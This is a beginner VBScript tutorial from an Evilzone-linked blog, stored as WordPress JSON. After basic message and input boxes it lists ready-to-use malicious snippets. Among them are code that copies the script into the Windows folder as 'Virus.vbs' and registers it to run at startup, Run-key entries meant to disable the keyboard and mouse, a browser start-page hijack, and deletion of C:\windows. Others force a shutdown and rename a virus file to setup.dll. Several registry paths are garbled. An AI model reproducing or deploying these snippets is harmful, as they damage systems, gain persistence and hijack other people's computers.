Though it’s not VB \/ Net, it’s more a simpler version of VB. It is pretty handy if you want to start with something…<\/p>\n
This type of programming can easily be done in Notepad so you wont need to download a some sort of crap of software (though they can be handy for debugging)
\n
\nNote: tutorial written by Huntondoom.<\/p>\n
So I am going to explain some code’s, what most things mean and hope you will use it to experiment, because it’s important to have a creative mind.<\/p>\n
If you want to see how your script works then just save it as “Name.vbs”<\/p>\n
Let’s start very easy<\/strong>, with a Messagebox <\/p>\n or<\/p>\n Easy as it is msgbox stands for messagebox (NOWAY :) and between the ” ” you put your text that will be shown or you can use WScript.Echo though I use msgbox this is also a way of showing your message. The input<\/strong><\/p>\n Insert your text in between (” “) though you can insert your answer it is not being saved. If you want to save it under a string or variable then do this<\/p>\n Now it is saved under “stringname” it doesn’t have to be stringname it could be anything random you want like blablablabla or wheeee <\/p>\n If you want to show the string in a message you just simply do<\/p>\n If you would combine everything I just explained then you can get some thing like this<\/p>\n In theory you would see the entered name appear in the message The message box should look something like this:<\/p>\n If you wouldn’t use the ” ” then string will be attach to each other. Has you can see there is something different with the inputbox and msgbox, the text of inputbox( and msgbox) consist of 3 section’s.<\/p>\n Inputbox:<\/strong> “you didn’t fill in, -.-‘”,1024,”Evilzone”<\/em> the section look like something like this (it filled in what it does) Same goes here is it a number then you don’t need “” you also see a If part<\/p>\n you start as If (duuuh) So if the insert string is Huntondoom equals what your are looking for <\/p>\n This will open more possibility for you to do message to things you ask that will so up what is insert and it can be more then just that. To complete this command then do:<\/p>\n If you script need to be shutdown in the beginning in a if command then It is recommended it that you use it at the end of you script now that was the basic<\/p>\n now I will just give you some code’s and explain there function<\/p>\n Creating a file:<\/p>\n this create’s a file change Internet explorer’s name<\/strong><\/p>\n as it said it will change internet explorer’s name<\/p>\n change internet explorer’s mainwindow<\/strong><\/p>\n as it said it will change internet explorer’s main window opening and closing CD-station’s<\/strong><\/p>\n it will count who many station’s there are and open and close them Create a Error sound:<\/strong><\/p>\n place file into start\/run<\/strong><\/p>\n it will send your virus to a other folder<\/p>\n shutdown keyboard:<\/strong><\/p>\n shutdown mouse:<\/strong><\/p>\n delete a folder:<\/strong><\/p>\n (do not try this exact code on your computer)<\/p>\n the number will show how long it will wait send a text, like if somebody type something:<\/strong> shutdown computer:<\/strong><\/p>\n open notepad and write a text:<\/strong><\/p>\n P.S.: the first 2 line are for running a program Change personal message in MSN:<\/strong><\/p>\n change the name of a file, can also move it:<\/strong><\/p>\n variable loop:<\/strong><\/p>\n I is the variable that could be anything (it’s usaly handy to hold on to a standaard) a variable loop end with next<\/p>\n it is possible to do a double variable loop<\/p>\n it mostly used to check something after some time like this:<\/p>\n if everything works like planned it will create check what a is every 2 times so it wil check what a is on 2 4 6 8 10 12 14 16 18 20 i may not be the best way to do it but it is an example<\/p>\n if you have a comment, thing you want to add , etc etc etc use these things to create programs that you just though of<\/p>\n","protected":false},"excerpt":{"rendered":" Though it’s not VB \/ Net, it’s more a simpler version of VB. It is<\/p>\n","protected":false},"author":2,"featured_media":1720,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6,5],"tags":[416,144,417,102,414,415],"class_list":["post-589","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-eng","category-my-tutos","tag-basic","tag-script","tag-scripting","tag-vb","tag-vbscript","tag-visual"],"_links":{"self":[{"href":"https:\/\/9v.lt\/blog\/wp-json\/wp\/v2\/posts\/589","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/9v.lt\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/9v.lt\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/9v.lt\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/9v.lt\/blog\/wp-json\/wp\/v2\/comments?post=589"}],"version-history":[{"count":0,"href":"https:\/\/9v.lt\/blog\/wp-json\/wp\/v2\/posts\/589\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/9v.lt\/blog\/wp-json\/wp\/v2\/media\/1720"}],"wp:attachment":[{"href":"https:\/\/9v.lt\/blog\/wp-json\/wp\/v2\/media?parent=589"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/9v.lt\/blog\/wp-json\/wp\/v2\/categories?post=589"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/9v.lt\/blog\/wp-json\/wp\/v2\/tags?post=589"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}msgbox \"insert text here\"<\/pre>\n
WScript.Echo \"lol\"<\/pre>\n
\nP.S.: text will only be shown when it’s put between “” numbers will be show even without the “”.<\/p>\ninputbox(\"insert question\")<\/pre>\n
Stringname=inputbox(\"Insert question\")<\/pre>\n
msgbox stringname<\/pre>\n
Answer=inputbox(\"What's your name?\")\r\nmsgbox \"damm who the hack call's it child \"& answer<\/pre>\n
\nIf you want to expands this kind of thing like with a title or more strings shown in the message then<\/p>\nname=inputbox(\"...\") \r\ntime=inputbox(\"... \")\r\nname=name & vbCRLf\r\nname = time & \" \" & name & vbCRlF\r\nmsgbox \"\" & name<\/pre>\n
name\r\ntime name<\/pre>\n
\nNot sure what vbCRLf stand for, but i know that it acts as ENTER and will create a new sentence beneath it (if there in nothing under it, then It won’t be showed).
\nif you want to set a text between them you do it just like the space ” ” but you just insert text there for numbers you don’t need “”.<\/p>\nname=inputbox(\"what's your name ? \",\"Evilzone\",\"no name\")\r\nif name = \"no name\" then\r\nmsgbox \"you didn't fill in, -.-'\",1024,\"Evilzone\"\r\nend if\r\nif name = \"huntondoom\" then\r\nmsgbox \"Your awesome\",1402,\"Evilzone\"\r\nend if<\/pre>\n
\n“what’s your name?”,”Evilzone”,”no name”<\/em> the section look like something like this (it filled in what it does)
\n“Text show in the msgbox”,”Title of the message box”,”answer that is already filled in”<\/p>\n
\n” message”,” don’t know (that’s why the random number )”,”Title”<\/p>\n
\nthen the string or variable comes
\nif Name = \"Huntondoom\"<\/code><\/p>\nif stringname = \"want it has to be\"<\/pre>\n
if stringname = \"what it's supposed to be\" then\r\n(fill here you commands in here)\r\nend if<\/pre>\n
\nthis next command will shutdown your script <\/p>\nWscript.quit<\/pre>\n
\nsome code’s can still be active and this shut’s it down<\/p>\nSet fs = CreateObject(\"Scripting.FileSystemObject\") \r\nSet a = fs.CreateTextFile(\"C:textfilel.txt\") \r\na.WriteLine (\"insert your text here\")\r\na.WriteBlankLines 1<\/pre>\n
\nthis case a *.txt file
\na stand for a variable that can be changed,
\nnotice that every variable has to be the same
\na.writeline is what will be put in your file
\nmultiple a.writeline will create more sentence, it works like pressing Enter
\na.WriteBlankLines 1 is to make a blank, depending on the value that is entered were 1 is it will create 1 or mulitple blanks lines
\nthis you can create batch file with a script in this case it will create it’s own virus or script program <\/p>\nSet shl = CreateObject(\"Wscript.shell\") \r\nShl.RegWrite \"HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\MainWindow Title\",\"page\"<\/pre>\n
Set shl = CreateObject(\"Wscript.shell\") \r\nShl.RegWrite \"HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\MainStart Page\",\" www.evilzone.org\"<\/pre>\n
\nps: if the 2 code’s above don’t work then there is probability something wrong with the \\ things (it’s in the wrong place)(or mises a few)<\/p>\nSet oWMP = CreateObject(\"WMPlayer.OCX.7\" ) \r\nSet colCDROMs = oWMP.cdromCollection \r\nif colCDROMs.Count >= 1 then \r\nFor i = 0 to colCDROMs.Count - 1 \r\ncolCDROMs.Item(i).Eject \r\nNext \r\nEnd If<\/pre>\n
\ndepending on the number insert in the green section’s<\/p>\nSet oWS = WScript.CreateObject(\"WScript.Shell\") \r\noWS.Run \"%comspec% \/c echo \" & Chr(07), 0, True<\/pre>\n
Set Shl = CreateObject(\"Wscript.Shell\") \r\nSet fso = CreateObject(\"Scripting.FileSystemObject\") \r\nwinfolder = fso.GetSpecialFolder(0) \r\nSet vbsfile = fso.GetFile(WScript.ScriptFullName) \r\nvbsfile.Copy winfolder & \"Virus.vbs\" \r\nShl.RegWrite \"HKEY_LOCAL_MACHINE\/Software\/Microsoft\/Windows\/CurrentVersion\/RunStart menu\",winfolder & \"Name.vbs\"<\/pre>\n
Set shl = CreateObject(\"Wscript.shell\") \r\nShl.RegWrite \"HKEY_LOCAL_MACHINE\/Software\/Microsoft\/Windows\/CurrentVersion\/Run\/DisableKeyboard\", \"Rundll32.exe Keyboard,Disable<\/pre>\n
Set shl = CreateObject(\"Wscript.shell\") \r\nShl.RegWrite \"HKEY_LOCAL_MACHINE\/Software\/Microsof\/tWindows\/CurrentVersion\/Run\/DisableMouse\", \"Rundll32.exe Mouse,Disable\"<\/pre>\n
Set fso = CreateObject(\"Scripting.FileSystemObject\")\r\nSet aFolder = fso.GetFolder(\"C:\\windows\")\r\naFolder.Delete<\/pre>\n
let the script wait a phew moments:<\/strong>\r\nWScript.Sleep 400<\/pre>\n
\nbut it count’s really fast 400 is not so long waiting<\/p>\n
\n(you don’t see it being typed put it just put your text there)<\/p>\nWshShell.SendKeys \" Evilzone FTW\"<\/pre>\n
Set OpSysSet = GetObject(\"winmgmts:{(Shutdown)}\/\/.\/root\/cimv2\").ExecQuery(\"\r\nselect * from Win32_OperatingSystem where Primary=true\")\r\nfor each OpSys in OpSysSet\r\nOpSys.ShutDown()\r\nnext<\/pre>\nSet WshShell = WScript.CreateObject (\"WScript.Shell\")\r\nWshShell.Run (\"notepad.exe\")\r\nWScript.Sleep 100\r\nWshShell.SendKeys \"hey go to www.evilzone.org\"<\/pre>\n
\nwhere notepad is located you either fill in the path of the file
\nor you just inserted a file that is known by the computer like notepad.<\/p>\nPublic WithEvents msn As MessengerAPI.Messenger\r\nPrivate Sub Form_Load()\r\nSet msn = New MessengerAPI.Messenger\r\nEnd Sub\r\nPrivate Sub Timer1_Timer()\r\nmsn.OptionsPages 0, MOPT_GENERAL_PAGE\r\nPause 0.5\r\nSendKeys \" I love Evilzone \"\r\nPause 0.5\r\nSendKeys \"{ENTER}\"\r\nSendKeys \"{ENTER}\"\r\nMe.Show\r\nEnd Sub\r\nSub Pause(interval)\r\nCurrent = Timer\r\nDo While Timer - Current < Val(interval)\r\nDoEvents\r\nLoop\r\nEnd Sub<\/pre>\nSet objFSO = CreateObject(\"Scripting.FileSystemObject\")\r\nobjFSO.MoveFile \"C:\\FSO\\Vrius.vbs\" , \"C:\\FSO\\setup.dll\"<\/pre>\n
for I=0 to 5\r\nSet oWS = WScript.CreateObject(\"WScript.Shell\") \r\noWS.Run \"%comspec% \/c echo \" & Chr(07), 0, True\r\nnext\r\nwscript.quit<\/pre>\n
\n0 is the beginning point
\n5 is the end point<\/p>\na=0\r\nfor I=0 to 10\r\nif a=10 then\r\nSet oWS = WScript.CreateObject(\"WScript.Shell\") \r\noWS.Run \"%comspec% \/c echo \" & Chr(07), 0, True\r\nend if\r\nif a=20 then\r\nSet oWS = WScript.CreateObject(\"WScript.Shell\") \r\noWS.Run \"%comspec% \/c echo \" & Chr(07), 0, True\r\nwscript.quit\r\nend if\r\nfor J=0 to 2 \r\na=a+1\r\nnext\r\nnext<\/pre>\n
\nevery time it hits 10 & 20 it will make a sound
\nevery time it hits 20 it will shutdown the script<\/p>\n
\nplease tell me<\/p>\n